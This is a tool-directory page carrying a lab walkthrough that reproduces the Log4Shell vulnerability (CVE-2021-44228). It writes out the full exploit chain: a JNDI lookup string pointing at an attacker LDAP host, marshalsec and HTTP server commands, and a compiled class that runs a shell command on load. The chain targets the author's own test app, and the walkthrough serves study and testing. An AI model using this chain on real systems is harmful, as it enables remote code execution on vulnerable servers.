Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228 — Step-by-step reproduction guide for CVE-2021-44228 (Log4Shell) with JDK 8u20, vulnerable Log4j 2.14.1, marshalsec LDAP server, and custom payload compilation. | Kitploit
Tools/GitHubGitHub/racoon-rac/cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

Step-by-step reproduction guide for CVE-2021-44228 (Log4Shell) with JDK 8u20, vulnerable Log4j 2.14.1, marshalsec LDAP server, and custom payload compilation.

View Repository
53 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-44228

I think this story is more practical (crying)christophetd/log4shell-vulnerable-app

I just researched on a whim out of interest, so there may be vague parts or mistakes.
Please proceed at your own risk.

Create a reproduction environment.

Should work on Linux environments.

1. Download JDK

Starting from jdk8u191, the com.sun.jndi.rmi.object.trustURLCodebase option was added and defaults to false. In this state, it is not possible to load externally prepared classes, so we will use an earlier version.
(Can internal classes be loaded or bypassed??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Direct download of jdk8u20
Extract and place it somewhere like /opt.

2. Prepare a vulnerable log4j

Download log4j
Extract and take out log4j-api-2.14.1.jar and log4j-core-2.14.1.jar (this time I put them in a directory called log4japp).

3. Set the classpath for log4j

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. Create a simple application

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}

5. Prepare marshalsec

mbechler/marshalsec
Redirect LDAP queries to the web server.

root@kitploit:~
mvn clean package -DskipTests

Start listening

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

Also prepare the redirect target for marshalsec

root@kitploit:~
python3 -m http.server 8888

6. Prepare the class to be passed to marshalsec

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

Compile using the installed jdk8u20

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. Exploit

Compile and execute using the installed jdk8u20.

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

Download Tool